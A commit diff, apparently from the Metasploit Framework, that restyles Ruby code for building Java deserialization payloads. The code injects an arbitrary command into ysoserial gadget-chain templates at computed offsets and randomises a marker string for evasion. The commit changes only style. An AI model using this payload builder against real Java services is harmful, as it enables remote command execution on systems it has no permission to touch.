Update code for Ruby coding style standards
parent
72d3f6538e
commit
85555b81c4
|
@ -2,54 +2,54 @@ module Msf
|
||||||
module Util
|
module Util
|
||||||
|
|
||||||
require 'json'
|
require 'json'
|
||||||
require 'base64'
|
|
||||||
|
|
||||||
#TODO: Support ysoserial alongside ysoserial-modified payloads (including cmd, bash, powershell, none)
|
# TODO:
|
||||||
|
# Support ysoserial alongside ysoserial-modified payloads (including cmd, bash, powershell, none)
|
||||||
|
|
||||||
class JavaDeserialization
|
class JavaDeserialization
|
||||||
|
|
||||||
PAYLOAD_FILENAME = "ysoserial_payloads.json"
|
PAYLOAD_FILENAME = "ysoserial_payloads.json"
|
||||||
|
|
||||||
def self.ysoserial_payload(payloadName, command=nil)
|
def self.ysoserial_payload(payload_name, command=nil)
|
||||||
# Open the JSON file and parse it
|
# Open the JSON file and parse it
|
||||||
begin
|
begin
|
||||||
path = File.join(Msf::Config.data_directory, PAYLOAD_FILENAME)
|
path = File.join(Msf::Config.data_directory, PAYLOAD_FILENAME)
|
||||||
json = JSON.parse(File.read(path))
|
json = JSON.parse(File.read(path))
|
||||||
rescue Errno::ENOENT
|
rescue Errno::ENOENT, JSON::ParserError
|
||||||
raise RuntimeError, "Unable to load JSON data from 'data/#{PAYLOAD_FILENAME}'"
|
raise RuntimeError, "Unable to load JSON data from 'data/#{PAYLOAD_FILENAME}'"
|
||||||
end
|
end
|
||||||
|
|
||||||
raise ArgumentError, "#{payloadName} payload not found in ysoserial payloads" if json[payloadName].nil?
|
raise ArgumentError, "#{payload_name} payload not found in ysoserial payloads" if json[payload_name].nil?
|
||||||
|
|
||||||
# Extract the specified payload (status, lengthOffset, bufferOffset, bytes)
|
# Extract the specified payload (status, lengthOffset, bufferOffset, bytes)
|
||||||
payload = json[payloadName]
|
payload = json[payload_name]
|
||||||
|
|
||||||
# Based on the status, we'll raise an exception, return a static payload, or
|
# Based on the status, we'll raise an exception, return a static payload, or
|
||||||
# generate a dynamic payload with modifications at the specified offsets
|
# generate a dynamic payload with modifications at the specified offsets
|
||||||
case payload['status']
|
case payload['status']
|
||||||
when "unsupported"
|
when 'unsupported'
|
||||||
# This exception will occur most commonly with complex payloads that require more than a string
|
# This exception will occur most commonly with complex payloads that require more than a string
|
||||||
raise ArgumentError, "ysoserial payload is unsupported"
|
raise ArgumentError, 'ysoserial payload is unsupported'
|
||||||
when "static"
|
when 'static'
|
||||||
#TODO: Consider removing 'static' functionality, since ysoserial doesn't currently use it
|
# TODO: Consider removing 'static' functionality, since ysoserial doesn't currently use it
|
||||||
return Base64.decode64(payload['bytes'])
|
return Rex::Text.decode_base64(payload['bytes'])
|
||||||
when "dynamic"
|
when 'dynamic'
|
||||||
raise ArgumentError, "missing command parameter" if command.nil?
|
raise ArgumentError, 'missing command parameter' if command.nil?
|
||||||
|
|
||||||
bytes = Base64.decode64(payload['bytes'])
|
bytes = Rex::Text.decode_base64(payload['bytes'])
|
||||||
|
|
||||||
# Insert buffer
|
# Insert buffer
|
||||||
bufferOffset = payload['bufferOffset'].first #TODO: Do we ever need to support multiple buffers?
|
buffer_offset = payload['bufferOffset'].first #TODO: Do we ever need to support multiple buffers?
|
||||||
bytes[bufferOffset-1] += command
|
bytes[buffer_offset - 1] += command
|
||||||
|
|
||||||
# Overwrite length (multiple times, if necessary)
|
# Overwrite length (multiple times, if necessary)
|
||||||
lengthOffsets = payload['lengthOffset']
|
length_offsets = payload['lengthOffset']
|
||||||
lengthOffsets.each do |lengthOffset|
|
length_offsets.each do |length_offset|
|
||||||
# Extract length as a 16-bit unsigned int, then add the length of the command string
|
# Extract length as a 16-bit unsigned int, then add the length of the command string
|
||||||
length = bytes[lengthOffset-1..lengthOffset].unpack("n").first
|
length = bytes[(length_offset-1)..length_offset].unpack('n').first
|
||||||
length += command.length.ord
|
length += command.length.ord
|
||||||
length = [length].pack("n")
|
length = [length].pack("n")
|
||||||
bytes[lengthOffset-1..lengthOffset] = length
|
bytes[(length_offset-1)..length_offset] = length
|
||||||
end
|
end
|
||||||
|
|
||||||
# Replace "ysoserial\/Pwner" timestamp string with randomness for evasion
|
# Replace "ysoserial\/Pwner" timestamp string with randomness for evasion
|
||||||
|
@ -57,7 +57,7 @@ class JavaDeserialization
|
||||||
|
|
||||||
return bytes
|
return bytes
|
||||||
else
|
else
|
||||||
raise RuntimeError, "Malformed JSON file"
|
raise RuntimeError, 'Malformed JSON file'
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -5,62 +5,60 @@ require 'json'
|
||||||
require 'base64'
|
require 'base64'
|
||||||
require 'open3'
|
require 'open3'
|
||||||
|
|
||||||
YSOSERIAL_RANDOMIZED_HEADER = "ysoserial/Pwner"
|
YSOSERIAL_RANDOMIZED_HEADER = 'ysoserial/Pwner'
|
||||||
PAYLOAD_TEST_MIN_LENGTH = 4
|
PAYLOAD_TEST_MIN_LENGTH = 4
|
||||||
PAYLOAD_TEST_MAX_LENGTH = 5
|
PAYLOAD_TEST_MAX_LENGTH = 5
|
||||||
|
|
||||||
#ARGV parsing
|
# ARGV parsing
|
||||||
if ARGV.include?("-h")
|
if ARGV.include?("-h")
|
||||||
puts "ysoserial object template generator"
|
puts 'ysoserial object template generator'
|
||||||
puts
|
puts
|
||||||
puts "Usage:"
|
puts 'Usage:'
|
||||||
puts " -h Help"
|
puts ' -h Help'
|
||||||
puts " -d Debug mode (output offset information only)"
|
puts ' -d Debug mode (output offset information only)'
|
||||||
puts " -m [type] Use 'ysoserial-modified' with the specified payload type"
|
puts " -m [type] Use 'ysoserial-modified' with the specified payload type"
|
||||||
puts
|
puts
|
||||||
abort
|
abort
|
||||||
end
|
end
|
||||||
|
|
||||||
DEBUG=ARGV.include?("-d")
|
debug = ARGV.include?('-d')
|
||||||
YSOSERIAL_MODIFIED=ARGV.include?("-m")
|
ysoserial_modified = ARGV.include?('-m')
|
||||||
if YSOSERIAL_MODIFIED
|
if ysoserial_modified
|
||||||
PAYLOAD_TYPE=ARGV[ARGV.find_index("-m")+1]
|
payload_type = ARGV[ARGV.find_index('-m')+1]
|
||||||
unless ["cmd","bash","powershell","none"].include?(PAYLOAD_TYPE)
|
unless ['cmd', 'bash', 'powershell', 'none'].include?(payload_type)
|
||||||
STDERR.puts "ERROR: Invalid payload type specified"
|
STDERR.puts 'ERROR: Invalid payload type specified'
|
||||||
abort
|
abort
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def generatePayload(payloadName,searchStringLength)
|
def generate_payload(payload_name,search_string_length)
|
||||||
#STDERR.puts " Generating #{payloadName} with length #{searchStringLength} using #{YSOSERIAL_BINARY}"
|
|
||||||
|
|
||||||
# Generate a string of specified length and embed it into an ASCII-encoded ysoserial payload
|
# Generate a string of specified length and embed it into an ASCII-encoded ysoserial payload
|
||||||
searchString = 'A'*searchStringLength
|
searchString = 'A' * search_string_length
|
||||||
|
|
||||||
# Build the command line with ysoserial parameters
|
# Build the command line with ysoserial parameters
|
||||||
if YSOSERIAL_MODIFIED
|
if ysoserial_modified
|
||||||
stdout, stderr, status = Open3.capture3('java','-jar','ysoserial-modified.jar',payloadName.to_s,PAYLOAD_TYPE.to_s,searchString.to_s)
|
stdout, stderr, status = Open3.capture3('java','-jar','ysoserial-modified.jar',payload_name.to_s,payload_type.to_s,searchString.to_s)
|
||||||
else
|
else
|
||||||
stdout, stderr, status = Open3.capture3('java','-jar','ysoserial-original.jar',payloadName.to_s,searchString.to_s)
|
stdout, stderr, status = Open3.capture3('java','-jar','ysoserial-original.jar',payload_name.to_s,searchString.to_s)
|
||||||
end
|
end
|
||||||
|
|
||||||
payload = stdout
|
payload = stdout
|
||||||
payload.force_encoding("binary")
|
payload.force_encoding('binary')
|
||||||
|
|
||||||
if payload.length==0 and stderr.length>0
|
if payload.length == 0 && stderr.length > 0
|
||||||
# Pipe errors out to the console
|
# Pipe errors out to the console
|
||||||
STDERR.puts stderr.split("\n").each {|i| i.prepend(" ")}
|
STDERR.puts stderr.split("\n").each {|i| i.prepend(" ")}
|
||||||
elsif stderr.include?"java.lang.IllegalArgumentException"
|
elsif stderr.include? 'java.lang.IllegalArgumentException'
|
||||||
#STDERR.puts " WARNING: '#{payloadName}' requires complex args and may not be supported"
|
#STDERR.puts " WARNING: '#{payload_name}' requires complex args and may not be supported"
|
||||||
return nil
|
return nil
|
||||||
elsif stderr.include?"Error while generating or serializing payload"
|
elsif stderr.include? 'Error while generating or serializing payload'
|
||||||
#STDERR.puts " WARNING: '#{payloadName}' errored and may not be supported"
|
#STDERR.puts " WARNING: '#{payload_name}' errored and may not be supported"
|
||||||
return nil
|
return nil
|
||||||
elsif stdout == "\xac\xed\x00\x05\x70"
|
elsif stdout == "\xac\xed\x00\x05\x70"
|
||||||
#STDERR.puts " WARNING: '#{payloadName}' returned null and may not be supported"
|
#STDERR.puts " WARNING: '#{payload_name}' returned null and may not be supported"
|
||||||
return nil
|
return nil
|
||||||
else
|
else
|
||||||
#STDERR.puts " Successfully generated #{payloadName} using #{YSOSERIAL_BINARY}"
|
#STDERR.puts " Successfully generated #{payload_name} using #{YSOSERIAL_BINARY}"
|
||||||
|
|
||||||
# Strip out the semi-randomized ysoserial string and trailing newline
|
# Strip out the semi-randomized ysoserial string and trailing newline
|
||||||
payload.gsub!(/#{YSOSERIAL_RANDOMIZED_HEADER}[[:digit:]]+/, 'ysoserial/Pwner00000000000000')
|
payload.gsub!(/#{YSOSERIAL_RANDOMIZED_HEADER}[[:digit:]]+/, 'ysoserial/Pwner00000000000000')
|
||||||
|
@ -68,33 +66,36 @@ def generatePayload(payloadName,searchStringLength)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def generatePayloadArray(payloadName)
|
def generate_payload_array(payload_name)
|
||||||
# Generate and return a number of payloads, each with increasingly longer strings, for future comparison
|
# Generate and return a number of payloads, each with increasingly longer strings, for future comparison
|
||||||
payloadArray = []
|
payload_array = []
|
||||||
(PAYLOAD_TEST_MIN_LENGTH..PAYLOAD_TEST_MAX_LENGTH).each do |i|
|
(PAYLOAD_TEST_MIN_LENGTH..PAYLOAD_TEST_MAX_LENGTH).each do |i|
|
||||||
payload = generatePayload(payloadName,i)
|
payload = generate_payload(payload_name,i)
|
||||||
return nil if payload.nil?
|
return nil if payload.nil?
|
||||||
payloadArray[i] = payload
|
payload_array[i] = payload
|
||||||
end
|
end
|
||||||
return payloadArray
|
|
||||||
|
payload_array
|
||||||
end
|
end
|
||||||
|
|
||||||
def isLengthOffset?(currByte,nextByte)
|
def isLengthOffset?(current_byte, next_byte)
|
||||||
# If this byte has been changed, and is different by one, then it must be a length value
|
# If this byte has been changed, and is different by one, then it must be a length value
|
||||||
if nextByte and currByte.position == nextByte.position and currByte.action == "-"
|
if next_byte && current_byte.position == next_byte.position && current_byte.action == "-"
|
||||||
if nextByte.element.ord - currByte.element.ord == 1
|
if next_byte.element.ord - current_byte.element.ord == 1
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return false
|
|
||||||
|
false
|
||||||
end
|
end
|
||||||
|
|
||||||
def isBufferOffset?(currByte,nextByte)
|
def isBufferOffset?(current_byte, next_byte)
|
||||||
# If this byte has been inserted, then it must be part of the increasingly large payload buffer
|
# If this byte has been inserted, then it must be part of the increasingly large payload buffer
|
||||||
if (currByte.action == "+" and (nextByte.nil? or (currByte.position != nextByte.position)))
|
if (current_byte.action == '+' && (next_byte.nil? || (current_byte.position != next_byte.position)))
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
return false
|
|
||||||
|
false
|
||||||
end
|
end
|
||||||
|
|
||||||
def diff(a,b)
|
def diff(a,b)
|
||||||
|
@ -107,86 +108,97 @@ def diff(a,b)
|
||||||
diffs.push(j)
|
diffs.push(j)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return diffs
|
|
||||||
|
diffs
|
||||||
end
|
end
|
||||||
|
|
||||||
def getPayloadList
|
def get_payload_list
|
||||||
# Call ysoserial and return the list of payloads that can be generated
|
# Call ysoserial and return the list of payloads that can be generated
|
||||||
payloads = `java -jar ysoserial-original.jar 2>&1`
|
payloads = `java -jar ysoserial-original.jar 2>&1`
|
||||||
payloads.encode!('ASCII', 'binary', invalid: :replace, undef: :replace, replace: '')
|
payloads.encode!('ASCII', 'binary', invalid: :replace, undef: :replace, replace: '')
|
||||||
payloads = payloads.split("\n")
|
payloads = payloads.split("\n")
|
||||||
|
|
||||||
# Make sure the headers are intact, then skip over them
|
# Make sure the headers are intact, then skip over them
|
||||||
abort unless payloads[0] == "Y SO SERIAL?"
|
abort unless payloads[0] == 'Y SO SERIAL?'
|
||||||
payloads = payloads.drop(5)
|
payloads = payloads.drop(5)
|
||||||
|
|
||||||
payloadList = []
|
payloadList = []
|
||||||
payloads.each do |line|
|
payloads.each do |line|
|
||||||
# Skip the header rows
|
# Skip the header rows
|
||||||
next unless line.start_with?" "
|
next unless line.start_with? " "
|
||||||
payloadList.push(line.scan(/^ ([^ ]*) .*/).first.last)
|
payloadList.push(line.scan(/^ ([^ ]*) .*/).first.last)
|
||||||
end
|
end
|
||||||
return payloadList
|
|
||||||
|
payloadList
|
||||||
end
|
end
|
||||||
|
|
||||||
results = {}
|
results = {}
|
||||||
payloadList = getPayloadList
|
payloadList = get_payload_list
|
||||||
payloadList.each do |payload|
|
payloadList.each do |payload|
|
||||||
STDERR.puts "Generating payloads for #{payload}..."
|
STDERR.puts "Generating payloads for #{payload}..."
|
||||||
|
|
||||||
emptyPayload = generatePayload(payload,0)
|
empty_payload = generate_payload(payload,0)
|
||||||
|
|
||||||
if emptyPayload.nil?
|
if empty_payload.nil?
|
||||||
STDERR.puts " ERROR: Errored while generating '#{payload}' and it will not be supported"
|
STDERR.puts " ERROR: Errored while generating '#{payload}' and it will not be supported"
|
||||||
results[payload]={"status": "unsupported"}
|
results[payload]={"status": "unsupported"}
|
||||||
next
|
next
|
||||||
end
|
end
|
||||||
|
|
||||||
payloadArray = generatePayloadArray(payload)
|
payload_array = generate_payload_array(payload)
|
||||||
|
|
||||||
lengthOffsets = []
|
length_offsets = []
|
||||||
bufferOffsets = []
|
buffer_offsets = []
|
||||||
|
|
||||||
# Comparing diffs of various payload lengths to find length and buffer offsets
|
# Comparing diffs of various payload lengths to find length and buffer offsets
|
||||||
(PAYLOAD_TEST_MIN_LENGTH..PAYLOAD_TEST_MAX_LENGTH).each do |i|
|
(PAYLOAD_TEST_MIN_LENGTH..PAYLOAD_TEST_MAX_LENGTH).each do |i|
|
||||||
# Compare this binary with the next one
|
# Compare this binary with the next one
|
||||||
diffs = diff(payloadArray[i],payloadArray[i+1])
|
diffs = diff(payload_array[i],payload_array[i+1])
|
||||||
|
|
||||||
break if diffs.nil?
|
break if diffs.nil?
|
||||||
|
|
||||||
# Iterate through each diff, searching for offsets of the length and the payload
|
# Iterate through each diff, searching for offsets of the length and the payload
|
||||||
(0..diffs.length-1).each do |j|
|
(0..diffs.length-1).each do |j|
|
||||||
currByte = diffs[j]
|
current_byte = diffs[j]
|
||||||
nextByte = diffs[j+1]
|
next_byte = diffs[j+1]
|
||||||
prevByte = diffs[j-1]
|
prevByte = diffs[j-1]
|
||||||
|
|
||||||
if j>0
|
if j > 0
|
||||||
# Skip this if we compared these two bytes on the previous iteration
|
# Skip this if we compared these two bytes on the previous iteration
|
||||||
next if prevByte.position == currByte.position
|
next if prevByte.position == current_byte.position
|
||||||
end
|
end
|
||||||
|
|
||||||
# Compare this byte and the following byte to identify length and buffer offsets
|
# Compare this byte and the following byte to identify length and buffer offsets
|
||||||
lengthOffsets.push(currByte.position) if isLengthOffset?(currByte,nextByte)
|
length_offsets.push(current_byte.position) if isLengthOffset?(current_byte,next_byte)
|
||||||
bufferOffsets.push(currByte.position) if isBufferOffset?(currByte,nextByte)
|
buffer_offsets.push(current_byte.position) if isBufferOffset?(current_byte,next_byte)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
if DEBUG
|
if debug
|
||||||
for lengthOffset in lengthOffsets
|
for length_offset in length_offsets
|
||||||
STDERR.puts " LENGTH OFFSET #{lengthOffset} = 0x#{emptyPayload[lengthOffset-1].ord.to_s(16)} #{emptyPayload[lengthOffset].ord.to_s(16)}"
|
STDERR.puts " LENGTH OFFSET #{length_offset} = 0x#{empty_payload[length_offset-1].ord.to_s(16)} #{empty_payload[length_offset].ord.to_s(16)}"
|
||||||
end
|
end
|
||||||
for bufferOffset in bufferOffsets
|
|
||||||
STDERR.puts " BUFFER OFFSET #{bufferOffset}"
|
for buffer_offset in buffer_offsets
|
||||||
|
STDERR.puts " BUFFER OFFSET #{buffer_offset}"
|
||||||
end
|
end
|
||||||
STDERR.puts " PAYLOAD LENGTH: #{emptyPayload.length}"
|
STDERR.puts " PAYLOAD LENGTH: #{empty_payload.length}"
|
||||||
end
|
end
|
||||||
|
|
||||||
payloadBytes = Base64.strict_encode64(emptyPayload).gsub(/\n/,"")
|
payloadBytes = Base64.strict_encode64(empty_payload).gsub(/\n/,"")
|
||||||
if bufferOffsets.length > 0
|
if buffer_offsets.length > 0
|
||||||
results[payload]={"status": "dynamic", "lengthOffset": lengthOffsets.uniq, "bufferOffset": bufferOffsets.uniq, "bytes": payloadBytes }
|
results[payload] = {
|
||||||
|
'status': 'dynamic',
|
||||||
|
'lengthOffset': length_offsets.uniq,
|
||||||
|
'bufferOffset': buffer_offsets.uniq,
|
||||||
|
'bytes': payloadBytes
|
||||||
|
}
|
||||||
else
|
else
|
||||||
#TODO: Turns out ysoserial doesn't have any static payloads. Consider removing this.
|
#TODO: Turns out ysoserial doesn't have any static payloads. Consider removing this.
|
||||||
results[payload]={"status": "static", "bytes": payloadBytes }
|
results[payload] = {
|
||||||
|
'status': 'static',
|
||||||
|
'bytes': payloadBytes
|
||||||
|
}
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -196,16 +208,16 @@ payloadCount['static'] = 0
|
||||||
payloadCount['dynamic'] = 0
|
payloadCount['dynamic'] = 0
|
||||||
|
|
||||||
results.each do |k,v|
|
results.each do |k,v|
|
||||||
if v[:status] == "unsupported"
|
if v[:status] == 'unsupported'
|
||||||
payloadCount['skipped'] += 1
|
payloadCount['skipped'] += 1
|
||||||
elsif v[:status] == "static"
|
elsif v[:status] == 'static'
|
||||||
payloadCount['static'] += 1
|
payloadCount['static'] += 1
|
||||||
elsif v[:status] == "dynamic"
|
elsif v[:status] == 'dynamic'
|
||||||
payloadCount['dynamic'] += 1
|
payloadCount['dynamic'] += 1
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
unless DEBUG
|
unless debug
|
||||||
puts JSON.generate(results)
|
puts JSON.generate(results)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue